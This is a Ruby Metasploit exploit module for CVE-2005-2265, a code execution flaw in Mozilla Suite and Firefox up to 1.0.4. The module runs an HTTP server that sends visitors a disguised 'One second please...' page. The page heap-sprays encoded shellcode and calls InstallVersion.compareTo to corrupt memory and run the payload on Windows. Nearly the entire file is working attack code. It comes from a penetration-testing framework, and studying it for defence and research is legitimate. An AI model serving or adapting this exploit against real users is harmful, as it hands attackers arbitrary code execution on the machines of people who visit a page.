##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  # include Msf::Exploit::Remote::BrowserAutopwn
  # The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
  # and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
  # autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "1.0",
  #  :ua_maxver => "1.7.10",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank => NormalRanking, # reliable memory corruption
  #  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution',
        'Description' => %q{
          This module exploits a code execution vulnerability in the Mozilla
          Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
          module is a direct port of Aviv Raff's HTML PoC.
        },
        'License' => MSF_LICENSE,
        'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],
        'References' => [
          ['CVE', '2005-2265'],
          ['OSVDB', '17968'],
          ['BID', '14242'],
          ['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
        ],
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00"
        },
        'Targets' => [
          # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
          # WinXP-SP3 and Win2kAS-SP0
          [
            'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'Ret' => 0x0c0c0c0c
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2005-07-13',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, _request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)).nil?)

    print_status("Sending #{name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end

  def generate_html(payload)
    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

    sprintf('0x%.8x', target.ret)
    Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))
    Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))
    eax_address = sprintf('0x%.8x', target.ret)

    return %|
<html>
<head>
<!--
  Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
  From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
  Greets: SkyLined, The Insider and shutdown
-->
  <title>One second please...</title>
  <script language="javascript">

    function BodyOnLoad()
    {
      location.href="javascript:void (new InstallVersion());";
      CrashAndBurn();
    };

    #{js_heap_spray}
    // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
    function CrashAndBurn()
    {
      // Payload - Just return..
      var payLoadCode=unescape("#{enc_code}");

      // Size of the heap blocks
      var heapBlockSize=0x400000;
      sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));

      // Set address to fake "pdata".
      var eaxAddress = #{eax_address};

      //	This was taken from shutdown's PoC in bugzilla
      // struct vtbl { void (*code)(void); };
      // struct data { struct vtbl *pvtbl; };
      //
      // struct data *pdata = (struct data *)(xxAddress & ~0x01);
      // pdata->pvtbl->code(pdata);
      //
      (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
    }
// -->
  </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
    |
  end
end
